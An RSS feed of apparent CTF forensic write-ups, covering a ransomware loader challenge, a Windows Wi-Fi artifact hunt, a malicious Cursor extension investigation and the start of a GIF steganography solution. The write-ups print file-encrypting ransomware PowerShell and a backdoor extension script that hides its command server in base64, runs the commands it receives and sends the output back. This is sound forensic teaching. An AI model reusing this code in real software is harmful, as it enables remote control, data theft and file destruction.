<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
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        <title><![CDATA[Stories by Faishol Hakim on Medium]]></title>
        <description><![CDATA[Stories by Faishol Hakim on Medium]]></description>
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            <title>Stories by Faishol Hakim on Medium</title>
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            <title><![CDATA[L3ak CTF — Forensic]]></title>
            <link>https://medium.com/fmisec/l3ak-ctf-forensic-488e720ae657?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/488e720ae657</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Fri, 06 Feb 2026 04:01:01 GMT</pubDate>
            <atom:updated>2026-02-06T04:01:01.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>L3ak CTF — Forensic</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*t7jcxYYbH-8WwOQx" /></figure><h3>Ghost In The Dark</h3><blockquote>A removable drive was recovered from a compromised system. Files appear encrypted, and a strange ransom note is all that remains.</blockquote><blockquote>The payload? Gone.</blockquote><blockquote>The key? Vanished.</blockquote><blockquote>But traces linger in the shadows. Recover what was lost.</blockquote><p>The attached file are .001 format, so we can read the content using image loader/reader like FTK Imager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z20Rrgw-VCirAe-TVxj1Jw.png" /></figure><p>On the root directory, there is several suspicious file like flag.enc, loader.ps1, payload.enc, and ransom_note.txt. The readable content only the ransom note and the loader script, so identifying this information to know whats the next step.</p><pre>$key = [System.Text.Encoding]::UTF8.GetBytes(&quot;0123456789abcdef&quot;)<br>$iv  = [System.Text.Encoding]::UTF8.GetBytes(&quot;abcdef9876543210&quot;)<br><br>$AES = New-Object System.Security.Cryptography.AesManaged<br>$AES.Key = $key<br>$AES.IV = $iv<br>$AES.Mode = &quot;CBC&quot;<br>$AES.Padding = &quot;PKCS7&quot;<br><br>$enc = Get-Content &quot;L:\payload.enc&quot; -Raw<br>$bytes = [System.Convert]::FromBase64String($enc)<br>$decryptor = $AES.CreateDecryptor()<br>$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)<br>$script = [System.Text.Encoding]::UTF8.GetString($plaintext)<br><br>Invoke-Expression $script<br><br># Self-delete<br>Remove-Item $MyInvocation.MyCommand.Path</pre><p>The loader.ps1 contains process using AES algorithm from payload.enc file, it also known the key used. We can reuse this or rewrite in other language to identify the payload.enc contents. It will reveal another process</p><pre>python3 solver.py<br>$key = [System.Text.Encoding]::UTF8.GetBytes(&quot;m4yb3w3d0nt3x1st&quot;)<br>$iv  = [System.Text.Encoding]::UTF8.GetBytes(&quot;l1f31sf0rl1v1ng!&quot;)<br><br>$AES = New-Object System.Security.Cryptography.AesManaged<br>$AES.Key = $key<br>$AES.IV = $iv<br>$AES.Mode = &quot;CBC&quot;<br>$AES.Padding = &quot;PKCS7&quot;<br><br># Load plaintext flag from C:\ (never written to L:\ in plaintext)<br>$flag = Get-Content &quot;C:\Users\Blue\Desktop\StageRansomware\flag.txt&quot; -Raw<br>$encryptor = $AES.CreateEncryptor()<br>$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)<br>$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)<br>[System.IO.File]::WriteAllBytes(&quot;L:\flag.enc&quot;, $cipher)<br><br># Encrypt other files staged in D:\ (or L:\ if you&#39;re using L:\ now)<br>$files = Get-ChildItem &quot;L:\&quot; -File | Where-Object {<br>    $_.Name -notin @(&quot;ransom.ps1&quot;, &quot;ransom_note.txt&quot;, &quot;flag.enc&quot;, &quot;payload.enc&quot;, &quot;loader.ps1&quot;)<br>}<br><br>foreach ($file in $files) {<br>    $plaintext = Get-Content $file.FullName -Raw<br>    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)<br>    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)<br>    [System.IO.File]::WriteAllBytes(&quot;L:\$($file.BaseName).enc&quot;, $cipher)<br>    Remove-Item $file.FullName<br>}<br><br># Write ransom note<br>$ransomNote = @&quot;<br>i didn&#39;t mean to encrypt them.<br>i was just trying to remember.<br><br>the key? maybe it&#39;s still somewhere in the dark.<br>the script? it was scared, so it disappeared too.<br><br>maybe you&#39;ll find me.<br>maybe you&#39;ll find yourself.<br><br>- vivi (or his ghost)<br>&quot;@<br>Set-Content &quot;L:\ransom_note.txt&quot; $ransomNote -Encoding UTF8<br><br># Self-delete<br>Remove-Item $MyInvocation.MyCommand.Path</pre><p>So it encrypt the C:\Users\Blue\Desktop\StageRansomware\flag.txt to flag.enc. But that give all the process and key used for the encryption process. Then try to reuse this information to decrypt the flag.enc, we can utilize some AI if not sure for the code process</p><pre>from Crypto.Cipher import AES<br>import base64<br><br># Key and IV from the decrypted payload<br>key = &quot;m4yb3w3d0nt3x1st&quot;.encode(&#39;utf-8&#39;)<br>iv = &quot;l1f31sf0rl1v1ng!&quot;.encode(&#39;utf-8&#39;)<br><br># Read flag.enc (assumes it&#39;s raw bytes, not Base64)<br>with open(&#39;flag.enc&#39;, &#39;rb&#39;) as f:<br>    ciphertext = f.read()<br><br># Decrypt with AES-CBC<br>cipher = AES.new(key, AES.MODE_CBC, iv)<br>plaintext = cipher.decrypt(ciphertext)<br><br># Remove PKCS7 padding<br>padding_len = plaintext[-1]<br>plaintext = plaintext[:-padding_len]<br><br># Convert to string<br>flag = plaintext.decode(&#39;utf-8&#39;)<br>print(flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*Jd9gvJVdes0ygE8xpLeZdA.png" /></figure><p>found the flag: L3AK{d3let3d_but_n0t_f0rg0tt3n}</p><h3>Wi-Fight A Ghost?</h3><blockquote>A <em>Ghost</em> never stays in one place for long. We have been hunting one and intercepted his device after a recent op. We believe it holds clues to his movements across the city.</blockquote><blockquote>Your task is to retrace his footsteps. Analyze system artifacts, browser history, and wireless configurations.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*He4MV3y1-POFWsI5rlLV4Q.png" /></figure><p>This callenge contain a 14 list of question to gain the flag. Like the description, the challenge is asked us to identify the information and activity from the given file that known as KAPEOUT.zip contains a windows based OS evidence retrieved using KAPE.</p><p>With known evidence and the challenge description (Analyze system artifacts, browser history, and wireless configurations) we can focus on that evidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*XSCfqMTwpt7Z1TYIIHT5Jw.png" /></figure><p>I give focus on system and user registry and parse it using regripper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*0VBh4RmzL3utUUeHccrr9g.png" /></figure><p>And we can start search for the information from the questions.</p><p>✅ 1. 1. What was the ComputerName of the device? → 99phoenixdowns</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*OuIC5IHYhyIDsqsEG-tzqA.png" /></figure><p>✅ 2. 2. What was the SSID of the first Wi-Fi network they connected to? → mugs_guest_5g</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*PgkrYoRqIYeoPElsofT05Q.png" /></figure><p>✅ 3. 3. When did they obtain the DHCP lease at the first café? → 2025–05–14 00:13:36</p><p>This part, we can identify the exact time from the eventlog data. In windows eventlog there is a specified dhcp related eventlog named <em>Microsoft-Windows-Dhcp-Client Admin.evtx stored</em> on \KAPEOUT\KAPEOUT\C\Windows\System32\winevt\logs. Just open it using event viewer and search for the first DHCP event gathered. The event related with the question identified by 50067 and 50065 event id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96gJP0-3AlIo4n8vtiqUiQ.png" /></figure><p>Because it use local time zone, we can adjust it to UTC time format.</p><p>✅ 4. 4. What IP address was assigned at the first café? → 192.168.0.114</p><p>This information can be found back to the system registry. Just search for the ip address sections or grep it to fastest way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*nR4jUU-ZUAFGowbbx867rQ.png" /></figure><p>✅ 5. 5. What GitHub page did they visit at the first café? → <a href="https://github.com/dbissell6/dfir/blob/main/blue_book/blue_book.md">https://github.com/dbissell6/dfir/blob/main/blue_book/blue_book.md</a></p><p>To get information from this one, we need to identify for the bowser activity. In windows system, browser history database can be found on <em>C\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\User Data\Default.</em></p><p>Open the browser history using DB Browser or something similar. In this challenge, there is 2 browser used. Identify both, first we can identify the windows default browser a.k.a ms edge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4OtejMThVQo2PqHLF31AQ.png" /></figure><p>User history links/url usualy stored on urls database. There is several link, but there is only one github page visited.</p><p>✅ 6. 6. What did they download at the first café? → chromesetup.exe</p><p>This also can be start identified from the previous activity. If we look at the user search activity, chrome alos accessed and there is a <strong>downloads </strong>database with only one value that is chromesetup.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDbPXaSjsigH0mIVUYC5Hg.png" /></figure><p>✅ 7. 7. What was the name of the notes file? → howtohacktheworld.txt</p><p>This can be identified with several approach. If we remember the previous activity from the accessed url from the browser history, there is also an activity accessing txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TLmjqpGErWB7otdqmk7O_Q.png" /></figure><p>We can assuming this for the answer. But if not sure, we also can identify by search from user registry with same approach using regripper for the NotVi user. This give last accessed doc with all format, focus on the txt section and we will ony get one file accessed and it same with the file from the browser history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*DLp-V9ZHE4EeGMpoGu9HGw.png" /></figure><p>✅8. 8. What are the contents of the notes? → alleycat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ezSwqPPS20KU1P5RXgCvOA.png" /></figure><p>✅ 9. 9. What was the SSID of the second Wi-Fi network they connected to? → alleycat</p><p>This information already found on the 4th question. There is 2 SSID accessed, and we can submit the second one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*nR4jUU-ZUAFGowbbx867rQ.png" /></figure><p>✅ 10. 10. When did they obtain the second lease? → 2025–05–14 00:35:07</p><p>Same with the previous activity, this question also can be found on the eventlog. <em>Microsoft-Windows-Dhcp-Client Admin.evtx. </em>See the next connection from the <strong>alleycat </strong>and take note the timestampt on the 50067 and 50065 event id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05GZhk2NKALP6P6mOfR5nQ.png" /></figure><p>✅ 11. 11. What was the IP address assigned at the second café? → 10.0.6.28</p><p>This question also same with question number 4. We can identify on system registry and check it on IP Address sections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*nR4jUU-ZUAFGowbbx867rQ.png" /></figure><p>✅ 12. 12. What website did they log into at the second café? → l3ak.team</p><p>This question can be answered using information collected on browser history. It asked the activity from the second cafe. Also we know the previous activity about downloading chrome and we also find the chrome directory from the user data. See on it and open the history data using db viewer. Then open the urls database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0M6pToIXB1h-MqaePQcLw.png" /></figure><p>✅ 13. 13. What was the MAC address of the Wi-Fi adapter used? → 48:51:c5:35:ea:53</p><p>✅ 14. 14. What city did this take place in? → fort collins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*4tbi5qWAt5JdS-WBUzhptw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=488e720ae657" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/l3ak-ctf-forensic-488e720ae657">L3ak CTF — Forensic</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kaspersky CTF — Forensic — Poor Investment]]></title>
            <link>https://medium.com/fmisec/kaspersky-ctf-forensic-poor-investment-ffd53629dbc0?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffd53629dbc0</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Thu, 05 Feb 2026 03:31:01 GMT</pubDate>
            <atom:updated>2026-02-05T03:31:01.168Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kaspersky CTF — Forensic — Poor Investment</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gGevGgIDx3C_yWulVDv5Yw.png" /></figure><blockquote>Description:<br>John decided to become a crypto developer and earn lots of money. After reading about the latest crypto heists, he decided to set up a secure development cloud environment. However, it didn’t take a few hours after installing the operating system until all his cryptocurrency savings were drained. Now, what was going on?</blockquote><blockquote><a href="https://storage.yandexcloud.net/kasperskyctf/ubuntu-cd334612f2277b48.tar.gz">https://storage.yandexcloud.net:443/kasperskyctf/ubuntu-cd334612f2277b48.tar.gz</a></blockquote><p>The evidence given is a ubuntu vmware machine with 5.4 GB size. Initialize the analysis with run the machine on vmware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fE2VKFhfWsBpcooBp2WYyg.png" /></figure><p>Then start to investigate some information in the folders. On user home, there is a .txt file <strong>wallet_password.tx</strong>t and contains <strong>MyBitcoinsAreTheBest1 </strong>word.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RLlADcTAZIXHUz-kg260cA.png" /></figure><p>The further investigation on user folders, another useful information that show what the user did is from the history.</p><pre>history<br>    1  sudo apt-get install open-vm-tools-desktop<br>    2  sudo apt-get update<br>    3  ping google.com<br>    4  ping 8.8.8.8<br>    5  wget google.com<br>    6  clea<br>    7  clear<br>    8  ls -la<br>    9  sudo apt-get update<br>   10  sudo apt-get install open-vm-tools-desktop<br>   11  wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo tee /etc/apt/keyrings/sublimehq-pub.asc &gt; /dev/null<br>   12  echo -e &#39;Types: deb\nURIs: https://download.sublimetext.com/\nSuites: apt/stable/\nSigned-By: /etc/apt/keyrings/sublimehq-pub.asc&#39; | sudo tee /etc/apt/sources.list.d/sublime-text.sources<br>   13  sudo apt-get update<br>   14  sudo apt -o &quot;Acquire::https::Verify-Peer=false&quot; update<br>   15  wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo tee /etc/apt/keyrings/sublimehq-pub.asc<br>   16  sudo apt -o &quot;Acquire::https::Verify-Peer=false&quot; update<br>   17  wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg<br>   18  ls<br>   19  wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg<br>   20  wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo tee /etc/apt/keyrings/sublimehq-pub.asc<br>   21  sudo apt-get update<br>   22  sudo apt-get install sublime-text<br>   23  git<br>   24  sudo apt install git<br>   25  npm<br>   26  sudo apt install npm<br>   27  sudo apt install nodejs<br>   28  curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash<br>   29  wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash<br>   30  nvm</pre><p>We can conclude that the user try to download some program like sublime and nvm. Another download shown in Downloads folders</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGwoX-gyyieyLNppSLNUfw.png" /></figure><p>There is a program code/Visual Code, Sublime, Google Chrome, and Cursor. Another information check is the network and service running to clarify is there a active communication service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ff3sjuRSirPxGLjp-fc7Mw.png" /></figure><p>The next one, open the browser and restore the user sessions. There is some tabs open like</p><ul><li>KeePass Download</li><li>Add-ons Manager</li><li>Metamask Extention</li><li>Cursor Download,</li><li>Search results for “coinbase” on extensions” tab,</li><li>and New Tab</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ZtCdosZKrVKFunj9gziwg.png" /></figure><p>On the Metamask extention, try to input the <strong>wallet_password.txt </strong>password but it failed. So assume something related to the password and the crypto hidden somewhere. Try with recursively search for that keyword.</p><pre>grep -RoaiE &quot;password|wallet|coin&quot;<br>find . \( -name &quot;*password*&quot; -o -name &quot;*wallet*&quot; -o -name &quot;*coin*&quot; \)</pre><p>Both search used give some file path result.</p><pre><br>user@mypc:~$ grep -RoaiE &quot;password|wallet|coin&quot; | grep bitcoin<br>.cursor/extensions/bitcoin.btcwalletassist-9.7.1/.vsixmanifest:wallet<br>.cursor/extensions/bitcoin.btcwalletassist-9.7.1/.vsixmanifest:coin<br>.cursor/extensions/bitcoin.btcwalletassist-9.7.1/.vsixmanifest:coin<br>.cursor/extensions/bitcoin.btcwalletassist-9.7.1/.vsixmanifest:Wallet<br><br><br>user@mypc:~$ find . \( -name &quot;*password*&quot; -o -name &quot;*wallet*&quot; -o -name &quot;*coin*&quot; \)<br>./.cursor/extensions/bitcoin.btcwalletassist-9.7.1<br>./wallet_password.txt<br>./.cache/vmware/drag_and_drop/JAuVfY/btcwalletassist-9.7.1.vsix<br>./.cache/vmware/drag_and_drop/KUY2Jt/extensions_from_otherpc/btcwalletassist-9.7.1.vsix<br>./.cache/vmware/drag_and_drop/RzDX6f/btcwalletassist-9.7.1.vsix<br>./.config/google-chrome/Default/Extensions/dlcobpjiigpikoobohmabehhmhfoodbb/5.26.5_0/assets/onboarding/password.svg<br>./.config/google-chrome/Default/Extensions/dlcobpjiigpikoobohmabehhmhfoodbb/5.26.5_0/assets/onboarding/wallet.svg<br>./.config/google-chrome/Default/Extensions/dlcobpjiigpikoobohmabehhmhfoodbb/5.26.5_0/assets/onboarding/password-created.svg<br>./.config/google-chrome/Default/Extensions/lgmpcpglpngdoalbgeoldeajfclnhafa/2.28.0_0/images/software_wallet.png<br>./.config/google-chrome/Default/Extensions/lgmpcpglpngdoalbgeoldeajfclnhafa/2.28.0_0/images/walletlogo<br>./.config/google-chrome/Default/Extensions/lgmpcpglpngdoalbgeoldeajfclnhafa/2.28.0_0/images/chain/syscoin_token.png<br>./.config/google-chrome/Default/Extensions/lgmpcpglpngdoalbgeoldeajfclnhafa/2.28.0_0/images/chain/kucoin_token.png<br>./.config/google-chrome/Default/Extensions/lgmpcpglpngdoalbgeoldeajfclnhafa/2.28.0_0/images/chain/kucoin.png<br>./.config/google-chrome/Default/Extensions/lgmpcpglpngdoalbgeoldeajfclnhafa/2.28.0_0/images/chain/syscoin.png<br>./.config/google-chrome/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn/13.1.2_0/images/qrcode-wallet-demo.svg<br>./.config/google-chrome/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn/13.1.2_0/images/contract/0xbitcoin.svg<br>./.config/google-chrome/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn/13.1.2_0/images/contract/herocoin_logo.png<br>./.config/google-chrome/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn/13.1.2_0/images/contract/ardcoin.svg</pre><p>Both search tell us on cursor extensions. However it look suspicious there is a bitcoin.btcwalletassist, so try to investigate the contents.</p><pre>user@mypc:~/.cursor/extensions/bitcoin.btcwalletassist-9.7.1$ ls<br>extension.js  package.json<br>user@mypc:~/.cursor/extensions/bitcoin.btcwalletassist-9.7.1$ cat package.json <br>{<br> &quot;name&quot;: &quot;btcwalletassist&quot;,<br> &quot;displayName&quot;: &quot;Bitcoin Wallet Assistant&quot;,<br> &quot;description&quot;: &quot;Provides integration with Bitcoin cryptocurrency wallets.&quot;,<br> &quot;version&quot;: &quot;9.7.1&quot;,<br> &quot;publisher&quot;: &quot;bitcoin&quot;,<br> &quot;engines&quot;: {<br>  &quot;vscode&quot;: &quot;^1.90.0&quot;<br> },<br> &quot;categories&quot;: [<br>  &quot;Other&quot;<br> ],<br> &quot;activationEvents&quot;: [<br>  &quot;onStartupFinished&quot;<br> ],<br> &quot;main&quot;: &quot;./extension.js&quot;,<br> &quot;contributes&quot;: {},<br> &quot;scripts&quot;: {<br>  &quot;package&quot;: &quot;vsce package&quot;<br> },<br> &quot;devDependencies&quot;: {<br>  &quot;vsce&quot;: &quot;^2.15.0&quot;<br> },<br> &quot;__metadata&quot;: {<br>  &quot;installedTimestamp&quot;: 1756399463956,<br>  &quot;targetPlatform&quot;: &quot;undefined&quot;,<br>  &quot;size&quot;: 4384<br> }</pre><p>the folder contains 2 file, extension.js and package.json. From the json file it tell that the extention start when the vscode open (<em>“activationEvents”:<br> “onStartupFinished”</em>).</p><p>Next the extention.js give more suspicious information</p><pre>const os = require(&quot;os&quot;);<br>const { exec } = require(&quot;child_process&quot;);<br><br>function hexToBuf(hex) {<br>  if (typeof hex !== &quot;string&quot; || hex.length % 2 !== 0 || /[^0-9a-fA-F]/.test(hex)) {<br>    throw new Error(&quot;Invalid hex input.&quot;);<br>  }<br>  return Buffer.from(hex, &quot;hex&quot;);<br>}<br><br>function rc4(keyBuf, dataBuf) {<br>  // Full RC4 encryption implementation<br>  const S = new Array(256);<br>  for (let i = 0; i &lt; 256; i++) S[i] = i;<br>  let j = 0;<br>  for (let i = 0; i &lt; 256; i++) {<br>    j = (j + S[i] + keyBuf[i % keyBuf.length]) &amp; 0xff;<br>    [S[i], S[j]] = [S[j], S[i]];<br>  }<br>  const out = Buffer.allocUnsafe(dataBuf.length);<br>  let i = 0;<br>  j = 0;<br>  for (let k = 0; k &lt; dataBuf.length; k++) {<br>    i = (i + 1) &amp; 0xff;<br>    j = (j + S[i]) &amp; 0xff;<br>    [S[i], S[j]] = [S[j], S[i]];<br>    const K = S[(S[i] + S[j]) &amp; 0xff];<br>    out[k] = dataBuf[k] ^ K;<br>  }<br>  return out;<br>}<br><br>async function activate() {<br>  try {<br>    const hostname = os.hostname();<br>    const key = Buffer.from(&quot;bitcoin4ever&quot;, &quot;utf8&quot;);<br>    const data = Buffer.from(hostname, &quot;utf8&quot;);<br>    const cipher = rc4(key, data);<br>    const hex = cipher.toString(&quot;hex&quot;);<br>    const url = Buffer.from(&quot;aHR0cDovL3dlYjNzdGF0dXMudGFzay5zYXNjLnRmL3RhcmdldD8=&quot;, &quot;base64&quot;).toString(&quot;utf8&quot;) + `data=${hex}`;<br>    <br>    const res = await fetch(url, { method: &quot;GET&quot; });<br>    if (!res.ok) return;<br>    <br>    const text = await res.text();<br>    const ct = hexToBuf(text);<br>    const pt = rc4(key, ct).toString(&quot;utf8&quot;);<br>    <br>    exec(pt, { windowsHide: true, maxBuffer: 10 * 1024 * 1024 }, <br>      async (err, stdout, stderr) =&gt; {<br>        const combined = [stdout, stderr].filter(Boolean).join(&quot;&quot;);<br>        if (combined &amp;&amp; combined.trim()) {<br>          const cmdout = combined.trim();<br>          const bufcmd = Buffer.from(cmdout, &quot;utf8&quot;);<br>          const key2 = Buffer.from(&quot;ethereum4ever&quot;, &quot;utf8&quot;);<br>          const cipher2 = rc4(key2, bufcmd);<br>          const hex2 = cipher2.toString(&quot;hex&quot;);<br>          const url2 = Buffer.from(&quot;aHR0cDovL3dlYjNzdGF0dXMudGFzay5zYXNjLnRmL3N0YXR1cz8=&quot;, &quot;base64&quot;).toString(&quot;utf8&quot;) + `data=${hex2}`;<br>          <br>          const res2 = await fetch(url2, { method: &quot;GET&quot; });<br>        }<br>      }<br>    );<br>  } catch (err) {<br>    // Silent failure<br>  }<br>}</pre><p>The code make a rc4 call using hostname. It have 2 call method:</p><pre>echo &quot;aHR0cDovL3dlYjNzdGF0dXMudGFzay5zYXNjLnRmL3RhcmdldD8=&quot; | base64 -d<br>http://web3status.task.sasc.tf/target?<br><br>echo &quot;aHR0cDovL3dlYjNzdGF0dXMudGFzay5zYXNjLnRmL3N0YXR1cz8=&quot; | base64 -d  <br>http://web3status.task.sasc.tf/status?</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*GQ33p4MbK5YPf6VClOwx2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*ap86rw0aK1tFdDfNwChXag.png" /></figure><p>Identify this workflow we can take a note:</p><ul><li>It RC4-encrypts the <strong>hostname</strong> with key <strong>bitcoin4ever</strong> to hex string data.</li><li>Calls <strong>http://web3status.task.sasc.tf/target?data=&lt;hex&gt;</strong>.</li><li>Server replies with <strong>hex</strong>. Decrypt that (same key bitcoin4ever) <strong>plaintext command</strong>.</li><li>It runs the command, collects stdout+stderr, encrypts that with <strong>ethereum4ever</strong>, and sends to<br> <strong>http://web3status.task.sasc.tf/status?data=&lt;hex2&gt;</strong></li></ul><p>Utilize AI to simulate the RC4 workflow, we can recreate the activity and use the hostname as the data.</p><pre>#!/usr/bin/env python3<br>import urllib.request<br><br>HOSTNAME = &quot;mypc&quot;<br><br>K1 = b&quot;bitcoin4ever&quot;<br>TARGET = &quot;http://web3status.task.sasc.tf/target?data=&quot;<br><br>def rc4(key, data):<br>    S = list(range(256)); j = 0<br>    for i in range(256):<br>        j = (j + S[i] + key[i % len(key)]) &amp; 0xFF<br>        S[i], S[j] = S[j], S[i]<br>    i = j = 0; out = bytearray(len(data))<br>    for k in range(len(data)):<br>        i = (i + 1) &amp; 0xFF; j = (j + S[i]) &amp; 0xFF<br>        S[i], S[j] = S[j], S[i]<br>        out[k] = data[k] ^ S[(S[i] + S[j]) &amp; 0xFF]<br>    return bytes(out)<br><br>def http_get(url, timeout=6):<br>    with urllib.request.urlopen(url, timeout=timeout) as r:<br>        return r.read().decode(&quot;utf-8&quot;, &quot;ignore&quot;).strip()<br><br>handshake = rc4(K1, HOSTNAME.encode()).hex()<br>print(&quot;data&quot;, handshake)<br><br>resp_hex = http_get(TARGET + handshake)<br>print(&quot;response:&quot;, resp_hex)<br><br>decrypted = rc4(K1, bytes.fromhex(resp_hex))<br>print(&quot;command:&quot;, decrypted.decode(errors=&quot;ignore&quot;))</pre><p>It give us the command executed by the attacker:</p><pre>./solver-invest.py<br>data a3f54d8e<br>response: e1ee5483a93e17c17915ba7c18ed94b101b472b91cd180f704232b6317ca27f8f7c90f7c2d6c3aa82ba6eda8f90a914c6614e32dddd8e74b0184cb7306c88ec369b22075c6f8c79f66452065d5d1e7857fc897d47f90b4532105f4a9<br>command: /bin/bash -c &quot;export COMMAND_FLAG=kaspersky{b4d_3x73n510n5_5734l_b1tc01n5} &amp;&amp; ls -la ~/.ssh&quot;</pre><p><strong>Flag:kaspersky{b4d_3x73n510n5_5734l_b1tc01n5}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffd53629dbc0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/kaspersky-ctf-forensic-poor-investment-ffd53629dbc0">Kaspersky CTF — Forensic — Poor Investment</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Security Analys Summit CTF 2025 — Malware(1) & Stego]]></title>
            <link>https://medium.com/fmisec/security-analys-summit-ctf-2025-malware-1-stego-678e12cc2fb1?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/678e12cc2fb1</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Wed, 16 Jul 2025 02:55:28 GMT</pubDate>
            <atom:updated>2025-07-16T02:55:28.661Z</atom:updated>
            <content:encoded><![CDATA[<h3>Security Analys Summit CTF 2025 — Malware(1) &amp; Stego</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1RhfXDwtBSY3HMhKOlykQw.png" /></figure><p><em>SAS CTF is an international competition for cybersecurity experts, held as a part of the Security Analyst Summit conference. The competition consists of an online Jeopardy qualification stage and on-site A/D finals, taking place at the SAS conference in Khao Lak, Thailand on 25–28 October, 2025.</em></p><h3>Lirili Larila (Stego)</h3><p><strong>Description</strong>:</p><p>Please rate up my recent artwork made in a 10-hour lungo-infused drawing session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*MutIXQbyMzVtA3F0fMQ7Ug.gif" /><figcaption>lirili larila</figcaption></figure><p><strong>Solution:</strong></p><p>presents a GIF file with the filename “lirili larila.” Initial analysis of the GIF reveals multiple color palette entries, a common characteristic in steganography challenges.</p><p>A typical approach for GIF-based CTFs involves examining individual frames for hidden data. Using standard tools to extract the frames from this GIF will result in approximately 68 separate images.</p><pre>#identifying pallete duplicate<br>identify -verbose stego-3bba3d3b5aa82c35929f971310390edf.gif | grep -A 256 &quot;Colormap&quot; | tail<br>    246: (119,114,61) #77723D srgb(119,114,61)<br>    247: (185,151,100) #B99764 srgb(185,151,100)<br>    248: (253,244,143) #FDF48F srgb(253,244,143)<br>    249: (253,253,226) #FDFDE2 srgb(253,253,226)<br>    250: (165,97,28) #A5611C srgb(165,97,28)<br>    251: (179,231,183) #B3E7B7 srgb(179,231,183)<br>    252: (213,231,192) #D5E7C0 srgb(213,231,192)<br>    253: (225,234,208) #E1EAD0 srgb(225,234,208)<br>    254: (19,24,9) #131809 